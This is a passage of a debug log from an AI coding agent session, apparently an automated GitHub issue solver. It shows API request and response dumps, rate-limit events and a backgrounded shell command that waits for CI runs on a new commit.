200,\n[2026-09-29T08:05:27.636Z] [STDOUT]   body: X {\n[2026-09-29T08:05:27.638Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:05:27.640Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:05:27.648Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:05:27.653Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:05:27.665Z] [STDOUT]     },\n[2026-09-29T08:05:27.667Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:05:27.669Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:05:27.671Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:05:27.673Z] [STDOUT]   },\n[2026-09-29T08:05:27.677Z] [STDOUT]   durationMs: 1369,\n[2026-09-29T08:05:27.684Z] [STDOUT] }\n[2026-09-29T08:05:27.697Z] [INFO] {\n[2026-09-29T08:05:27.697Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:05:27.697Z] [INFO]   \"message\": {\n[2026-09-29T08:05:27.697Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:05:27.697Z] [INFO]     \"id\": \"msg_011CfXPHJJ4RKhQAeXbTsrdB\",\n[2026-09-29T08:05:27.697Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:05:27.697Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:05:27.697Z] [INFO]     \"content\": [\n[2026-09-29T08:05:27.697Z] [INFO]       {\n[2026-09-29T08:05:27.697Z] [INFO]         \"type\": \"text\",\n[2026-09-29T08:05:27.697Z] [INFO]         \"text\": \"Both CI runs passed on 9fd0ba0. Waiting for the runs on the new commit a85ff3d:\"\n[2026-09-29T08:05:27.697Z] [INFO]       }\n[2026-09-29T08:05:27.697Z] [INFO]     ],\n[2026-09-29T08:05:27.697Z] [INFO]     \"container\": null,\n[2026-09-29T08:05:27.697Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:05:27.697Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:05:27.697Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:05:27.697Z] [INFO]     \"usage\": {\n[2026-09-29T08:05:27.697Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:05:27.697Z] [INFO]       \"cache_creation_input_tokens\": 1276,\n[2026-09-29T08:05:27.697Z] [INFO]       \"cache_read_input_tokens\": 98489,\n[2026-09-29T08:05:27.697Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:05:27.697Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:05:27.697Z] [INFO]         \"ephemeral_1h_input_tokens\": 1276\n[2026-09-29T08:05:27.697Z] [INFO]       },\n[2026-09-29T08:05:27.697Z] [INFO]       \"output_tokens\": 60,\n[2026-09-29T08:05:27.697Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:05:27.697Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:05:27.697Z] [INFO]     },\n[2026-09-29T08:05:27.697Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:05:27.697Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:05:27.697Z] [INFO]     \"context_management\": null\n[2026-09-29T08:05:27.697Z] [INFO]   },\n[2026-09-29T08:05:27.697Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:05:27.697Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:05:27.697Z] [INFO]   \"uuid\": \"b6e06abd-0621-445f-bd7d-675ebc814c4c\",\n[2026-09-29T08:05:27.697Z] [INFO]   \"timestamp\": \"2026-09-29T08:05:27.136Z\",\n[2026-09-29T08:05:27.697Z] [INFO]   \"request_id\": \"req_011CfXPHHhqamrotckTQ46dK\"\n[2026-09-29T08:05:27.697Z] [INFO] }\n[2026-09-29T08:05:31.709Z] [INFO] {\n[2026-09-29T08:05:31.709Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:05:31.709Z] [INFO]   \"message\": {\n[2026-09-29T08:05:31.709Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:05:31.709Z] [INFO]     \"id\": \"msg_011CfXPHJJ4RKhQAeXbTsrdB\",\n[2026-09-29T08:05:31.709Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:05:31.709Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:05:31.709Z] [INFO]     \"content\": [\n[2026-09-29T08:05:31.709Z] [INFO]       {\n[2026-09-29T08:05:31.709Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:05:31.709Z] [INFO]         \"id\": \"toolu_01RkAqP7exMEH89YAyFp5Qjn\",\n[2026-09-29T08:05:31.709Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:05:31.709Z] [INFO]         \"input\": {\n[2026-09-29T08:05:31.709Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; cat /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bm13v5xu1.output; for i in $(seq 1 20); do n=$(gh run list --repo G-Ivan-A/hybrid-Intelligence-lab --branch issue-646-497e337ac092 --json headSha,databaseId --jq '[.[]|select(.headSha|startswith(\\\"a85ff3d\\\"))]|length'); [ \\\"$n\\\" -ge 2 ] && break; sleep 6; done; for id in $(gh run list --repo G-Ivan-A/hybrid-Intelligence-lab --branch issue-646-497e337ac092 --json headSha,databaseId --jq '.[]|select(.headSha|startswith(\\\"a85ff3d\\\"))|.databaseId'); do gh run watch $id --repo G-Ivan-A/hybrid-Intelligence-lab --exit-status >/dev/null 2>&1; echo \\\"$id exit $?\\\"; done\",\n[2026-09-29T08:05:31.709Z] [INFO]           \"description\": \"Wait for CI on latest commit\",\n[2026-09-29T08:05:31.709Z] [INFO]           \"run_in_background\": true\n[2026-09-29T08:05:31.709Z] [INFO]         },\n[2026-09-29T08:05:31.709Z] [INFO]         \"caller\": {\n[2026-09-29T08:05:31.709Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T08:05:31.709Z] [INFO]         }\n[2026-09-29T08:05:31.709Z] [INFO]       }\n[2026-09-29T08:05:31.709Z] [INFO]     ],\n[2026-09-29T08:05:31.709Z] [INFO]     \"container\": null,\n[2026-09-29T08:05:31.709Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:05:31.709Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:05:31.709Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:05:31.709Z] [INFO]     \"usage\": {\n[2026-09-29T08:05:31.709Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:05:31.709Z] [INFO]       \"cache_creation_input_tokens\": 1276,\n[2026-09-29T08:05:31.709Z] [INFO]       \"cache_read_input_tokens\": 98489,\n[2026-09-29T08:05:31.709Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:05:31.709Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:05:31.709Z] [INFO]         \"ephemeral_1h_input_tokens\": 1276\n[2026-09-29T08:05:31.709Z] [INFO]       },\n[2026-09-29T08:05:31.709Z] [INFO]       \"output_tokens\": 60,\n[2026-09-29T08:05:31.709Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:05:31.709Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:05:31.709Z] [INFO]     },\n[2026-09-29T08:05:31.709Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:05:31.709Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:05:31.709Z] [INFO]     \"context_management\": null\n[2026-09-29T08:05:31.709Z] [INFO]   },\n[2026-09-29T08:05:31.709Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:05:31.709Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:05:31.709Z] [INFO]   \"uuid\": \"e01079df-c931-4f86-b6b9-7ba7c7289a9e\",\n[2026-09-29T08:05:31.709Z] [INFO]   \"timestamp\": \"2026-09-29T08:05:31.510Z\",\n[2026-09-29T08:05:31.709Z] [INFO]   \"request_id\": \"req_011CfXPHHhqamrotckTQ46dK\",\n[2026-09-29T08:05:31.709Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T08:05:31.709Z] [INFO]     \"toolu_01RkAqP7exMEH89YAyFp5Qjn\": {\n[2026-09-29T08:05:31.709Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; cat /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bm13v5xu1.output; for i in $(seq 1 20); do n=$(gh run list --repo G-Ivan-A/hybrid-Intelligence-lab --branch issue-646-497e337ac092 --json headSha,databaseId --jq '[.[]|select(.headSha|startswith(\\\"a85ff3d\\\"))]|length'); [ \\\"$n\\\" -ge 2 ] && break; sleep 6; done; for id in $(gh run list --repo G-Ivan-A/hybrid-Intelligence-lab --branch issue-646-497e337ac092 --json headSha,databaseId --jq '.[]|select(.headSha|startswith(\\\"a85ff3d\\\"))|.databaseId'); do gh run watch $id --repo G-Ivan-A/hybrid-Intelligence-lab --exit-status >/dev/null 2>&1; echo \\\"$id exit $?\\\"; done\",\n[2026-09-29T08:05:31.709Z] [INFO]       \"description\": \"Wait for CI on latest commit\",\n[2026-09-29T08:05:31.709Z] [INFO]       \"run_in_background\": true\n[2026-09-29T08:05:31.709Z] [INFO]     }\n[2026-09-29T08:05:31.709Z] [INFO]   }\n[2026-09-29T08:05:31.709Z] [INFO] }\n[2026-09-29T08:05:31.782Z] [INFO] {\n[2026-09-29T08:05:31.782Z] [INFO]   \"type\": \"rate_limit_event\",\n[2026-09-29T08:05:31.782Z] [INFO]   \"rate_limit_info\": {\n[2026-09-29T08:05:31.782Z] [INFO]     \"status\": \"allowed_warning\",\n[2026-09-29T08:05:31.782Z] [INFO]     \"resetsAt\": 1790679600,\n[2026-09-29T08:05:31.782Z] [INFO]     \"rateLimitType\": \"seven_day\",\n[2026-09-29T08:05:31.782Z] [INFO]     \"utilization\": 0.78,\n[2026-09-29T08:05:31.782Z] [INFO]     \"isUsingOverage\": false,\n[2026-09-29T08:05:31.782Z] [INFO]     \"surpassedThreshold\": 0.75,\n[2026-09-29T08:05:31.782Z] [INFO]     \"unifiedWindows\": {\n[2026-09-29T08:05:31.782Z] [INFO]       \"five_hour\": {\n[2026-09-29T08:05:31.782Z] [INFO]         \"utilization\": 0.48,\n[2026-09-29T08:05:31.782Z] [INFO]         \"resetsAt\": 1790678400\n[2026-09-29T08:05:31.782Z] [INFO]       },\n[2026-09-29T08:05:31.782Z] [INFO]       \"seven_day\": {\n[2026-09-29T08:05:31.782Z] [INFO]         \"utilization\": 0.78,\n[2026-09-29T08:05:31.782Z] [INFO]         \"resetsAt\": 1790679600\n[2026-09-29T08:05:31.782Z] [INFO]       }\n[2026-09-29T08:05:31.782Z] [INFO]     }\n[2026-09-29T08:05:31.782Z] [INFO]   },\n[2026-09-29T08:05:31.782Z] [INFO]   \"uuid\": \"1d61cf09-6847-4c9a-b701-dad2fb2b109c\",\n[2026-09-29T08:05:31.782Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:05:31.782Z] [INFO] }\n[2026-09-29T08:05:31.820Z] [INFO] {\n[2026-09-29T08:05:31.820Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:05:31.820Z] [INFO]   \"subtype\": \"background_tasks_changed\",\n[2026-09-29T08:05:31.820Z] [INFO]   \"tasks\": [\n[2026-09-29T08:05:31.820Z] [INFO]     {\n[2026-09-29T08:05:31.820Z] [INFO]       \"task_id\": \"bf11qfocy\",\n[2026-09-29T08:05:31.820Z] [INFO]       \"task_type\": \"local_bash\",\n[2026-09-29T08:05:31.820Z] [INFO]       \"description\": \"Wait for CI on latest commit\"\n[2026-09-29T08:05:31.820Z] [INFO]     }\n[2026-09-29T08:05:31.820Z] [INFO]   ],\n[2026-09-29T08:05:31.820Z] [INFO]   \"uuid\": \"0bf4037f-c531-48ae-b557-45e4a35c10c2\",\n[2026-09-29T08:05:31.820Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:05:31.820Z] [INFO] }\n[2026-09-29T08:05:31.827Z] [INFO] {\n[2026-09-29T08:05:31.827Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:05:31.827Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T08:05:31.827Z] [INFO]   \"task_id\": \"bf11qfocy\",\n[2026-09-29T08:05:31.827Z] [INFO]   \"tool_use_id\": \"toolu_01RkAqP7exMEH89YAyFp5Qjn\",\n[2026-09-29T08:05:31.827Z] [INFO]   \"description\": \"Wait for CI on latest commit\",\n[2026-09-29T08:05:31.827Z] [INFO]   \"is_backgrounded\": true,\n[2026-09-29T08:05:31.827Z] [INFO]   \"task_type\": \"local_bash\",\n[2026-09-29T08:05:31.827Z] [INFO]   \"uuid\": \"9d9fa321-8c3a-447c-95b7-bfef81c95660\",\n[2026-09-29T08:05:31.827Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:05:31.827Z] [INFO] }\n[2026-09-29T08:05:31.877Z] [INFO] {\n[2026-09-29T08:05:31.877Z] [INFO]   \"type\": \"user\",\n[2026-09-29T08:05:31.877Z] [INFO]   \"message\": {\n[2026-09-29T08:05:31.877Z] [INFO]     \"role\": \"user\",\n[2026-09-29T08:05:31.877Z] [INFO]     \"content\": [\n[2026-09-29T08:05:31.877Z] [INFO]       {\n[2026-09-29T08:05:31.877Z] [INFO]         \"tool_use_id\": \"toolu_01RkAqP7exMEH89YAyFp5Qjn\",\n[2026-09-29T08:05:31.877Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:05:31.877Z] [INFO]         \"content\": \"Command running in background with ID: bf11qfocy. Output is being written to: /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bf11qfocy.output. You will be notified when it completes. To check interim output, use Read on that file path.\\nSession cwd remains /tmp/gh-issue-solver-1790667776920; directory changes made by the backgrounded command do not apply to subsequent commands.\",\n[2026-09-29T08:05:31.877Z] [INFO]         \"is_error\": false\n[2026-09-29T08:05:31.877Z] [INFO]       }\n[2026-09-29T08:05:31.877Z] [INFO]     ]\n[2026-09-29T08:05:31.877Z] [INFO]   },\n[2026-09-29T08:05:31.877Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:05:31.877Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:05:31.877Z] [INFO]   \"uuid\": \"aad8f891-b806-48d2-add2-2f99ff448c68\",\n[2026-09-29T08:05:31.877Z] [INFO]   \"timestamp\": \"2026-09-29T08:05:31.860Z\",\n[2026-09-29T08:05:31.877Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:05:31.877Z] [INFO]     \"stdout\": \"\",\n[2026-09-29T08:05:31.877Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:05:31.877Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:05:31.877Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:05:31.877Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T08:05:31.877Z] [INFO]     \"backgroundTaskId\": \"bf11qfocy\",\n[2026-09-29T08:05:31.877Z] [INFO]     \"backgroundCwdHint\": \"Session cwd remains /tmp/gh-issue-solver-1790667776920; directory changes made by the backgrounded command do not apply to subsequent commands.\"\n[2026-09-29T08:05:31.877Z] [INFO]   }\n[2026-09-29T08:05:31.877Z] [INFO] }\n[2026-09-29T08:05:32.020Z] [STDOUT] [log_79b5b2] sending request {\n[2026-09-29T08:05:32.026Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:05:32.036Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:05:32.065Z] [STDOUT]   options: {\n[2026-09-29T08:05:32.071Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:05:32.075Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:05:32.080Z] [STDOUT]     body: {\n[2026-09-29T08:05:32.085Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:05:32.088Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:05:32.090Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:05:32.095Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:05:32.098Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:05:32.100Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:05:32.102Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:05:32.111Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:05:32.117Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:05:32.123Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:05:32.127Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:05:32.226Z] [STDOUT]       stream: true,\n[2026-09-29T08:05:32.284Z] [STDOUT]     },\n[2026-09-29T08:05:32.296Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:05:32.307Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:05:32.312Z] [STDOUT]       aborted: false,\n[2026-09-29T08:05:32.314Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:05:32.317Z] [STDOUT]       onabort: null,\n[2026-09-29T08:05:32.321Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:05:32.323Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:05:32.326Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:05:32.329Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:05:32.332Z] [STDOUT]     },\n[2026-09-29T08:05:32.336Z] [STDOUT]     stream: true,\n[2026-09-29T08:05:32.350Z] [STDOUT]   },\n[2026-09-29T08:05:32.353Z] [STDOUT]   headers: {\n[2026-09-29T08:05:32.356Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:05:32.365Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:05:32.369Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:05:32.372Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:05:32.376Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:05:32.380Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:05:32.387Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:05:32.418Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:05:32.538Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:05:32.551Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=178\",\n[2026-09-29T08:05:32.559Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:05:32.563Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:05:32.569Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:05:32.577Z] [STDOUT]     \"x-client-request-id\": \"b96b5f45-1e94-43d7-9cb4-ab29dd4f51e0\",\n[2026-09-29T08:05:32.583Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:05:32.589Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:05:32.591Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:05:32.596Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:05:32.602Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:05:32.610Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:05:32.619Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:05:32.632Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:05:32.640Z] [STDOUT]   },\n[2026-09-29T08:05:32.645Z] [STDOUT] }\n[2026-09-29T08:05:32.966Z] [STDOUT] [log_79b5b2, request-id: \"req_011CfXPHkPCRnQejHpWwy58H\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 946ms\n[2026-09-29T08:05:32.980Z] [STDOUT] [log_79b5b2] response start {\n[2026-09-29T08:05:32.986Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:05:32.992Z] [STDOUT]   status: 200,\n[2026-09-29T08:05:33.000Z] [STDOUT]   headers: {\n[2026-09-29T08:05:33.006Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:05:33.012Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:05:33.024Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:05:33.032Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.48\",\n[2026-09-29T08:05:33.039Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:05:33.044Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:05:33.051Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:05:33.056Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:05:33.065Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:05:33.073Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:05:33.082Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:05:33.089Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:05:33.096Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:05:33.102Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:05:33.110Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:05:33.122Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:05:33.132Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:05:33.140Z] [STDOUT]     \"cf-ray\": \"a4297bbb29b65d90-FRA\",\n[2026-09-29T08:05:33.149Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:05:33.157Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:05:33.164Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:05:33.177Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:05:33.181Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:05:32 GMT\",\n[2026-09-29T08:05:33.184Z] [STDOUT]     \"request-id\": \"req_011CfXPHkPCRnQejHpWwy58H\",\n[2026-09-29T08:05:33.188Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:05:33.196Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:05:33.202Z] [STDOUT]     traceresponse: \"00-2101ba4764fac0509f42e7979faf3ae7-46278b31325878c4-01\",\n[2026-09-29T08:05:33.211Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:05:33.216Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:05:33.218Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:05:33.224Z] [STDOUT]   },\n[2026-09-29T08:05:33.227Z] [STDOUT]   durationMs: 946,\n[2026-09-29T08:05:33.232Z] [STDOUT] }\n[2026-09-29T08:05:33.235Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:05:33.238Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:05:32 GMT\",\n[2026-09-29T08:05:33.242Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:05:33.244Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:05:33.247Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:05:33.253Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:05:33.256Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:05:33.259Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:05:33.263Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:05:33.266Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:05:33.269Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:05:33.272Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:05:33.276Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:05:33.279Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:05:33.281Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.48\",\n[2026-09-29T08:05:33.284Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:05:33.290Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:05:33.297Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:05:33.300Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:05:33.304Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:05:33.307Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:05:33.309Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:05:33.312Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:05:33.316Z] [STDOUT]   \"request-id\": \"req_011CfXPHkPCRnQejHpWwy58H\",\n[2026-09-29T08:05:33.320Z] [STDOUT]   \"traceresponse\": \"00-2101ba4764fac0509f42e7979faf3ae7-46278b31325878c4-01\",\n[2026-09-29T08:05:33.324Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:05:33.328Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:05:33.330Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:05:33.334Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:05:33.336Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:05:33.338Z] [STDOUT]   \"cf-ray\": \"a4297bbb29b65d90-FRA\",\n[2026-09-29T08:05:33.343Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:05:33.345Z] [STDOUT] [log_79b5b2] response parsed {\n[2026-09-29T08:05:33.347Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:05:33.350Z] [STDOUT]   status: 200,\n[2026-09-29T08:05:33.356Z] [STDOUT]   body: X {\n[2026-09-29T08:05:33.358Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:05:33.363Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:05:33.367Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:05:33.371Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:05:33.375Z] [STDOUT]     },\n[2026-09-29T08:05:33.377Z] 